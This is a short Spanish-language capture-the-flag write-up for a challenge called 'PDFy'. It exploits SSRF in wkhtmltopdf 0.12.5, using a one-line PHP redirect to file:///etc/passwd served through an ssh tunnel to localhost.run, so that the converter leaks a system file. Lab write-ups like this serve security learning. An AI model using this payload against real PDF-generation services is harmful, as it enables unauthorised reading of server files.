PDFy


July 16, 20242 minutes

La web del reto es simple, consiste en que nos pide una url y la transforma en pdf

Al descargar el pdf y analizarlo con exiftool, vemos el programa que se está usando para transformar las webs en pdf

d3bo@lenovo ~/D/h/c/CubeMadness1> exiftool 96b167ef1de72777cfc05125ac7e.pdf
ExifTool Version Number         : 12.89
File Name                       : 96b167ef1de72777cfc05125ac7e.pdf
Directory                       : .
File Size                       : 30 kB
File Modification Date/Time     : 2024:07:17 02:20:32+02:00
File Access Date/Time           : 2024:07:17 02:20:32+02:00
File Inode Change Date/Time     : 2024:07:17 02:20:48+02:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : Google
Creator                         : wkhtmltopdf 0.12.5
Producer                        : Qt 4.8.7
Create Date                     : 2024:07:17 00:20:26Z
Page Count                      : 1

Se está usando wkhtmltopdf con la versión 0.12.5.

Con una búsqueda rápida en internet encontramos una vulnerabilidad para este programa (https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/)

Así que seguimos los pasos, creamos un php con el siguiente código

<?php header('location:file:///etc/passwd'); ?>

Abrimos un servidor con php

php -S 0.0.0.0:8080

El problema ahora es que si apuntamos a nuestra ip desde la web, no nos va a ver, ya que a nuestro servidor solo se puede acceder desde nuestra red.

Para hacer que pueda tener acceso a nuestro servidor usaremos localhost.run

ssh -R 80:localhost:8080 nokey@localhost.run

Esto nos generará un enlace público en internet en el que va a estar corriendo el servidor web

Ya tenemos la flag!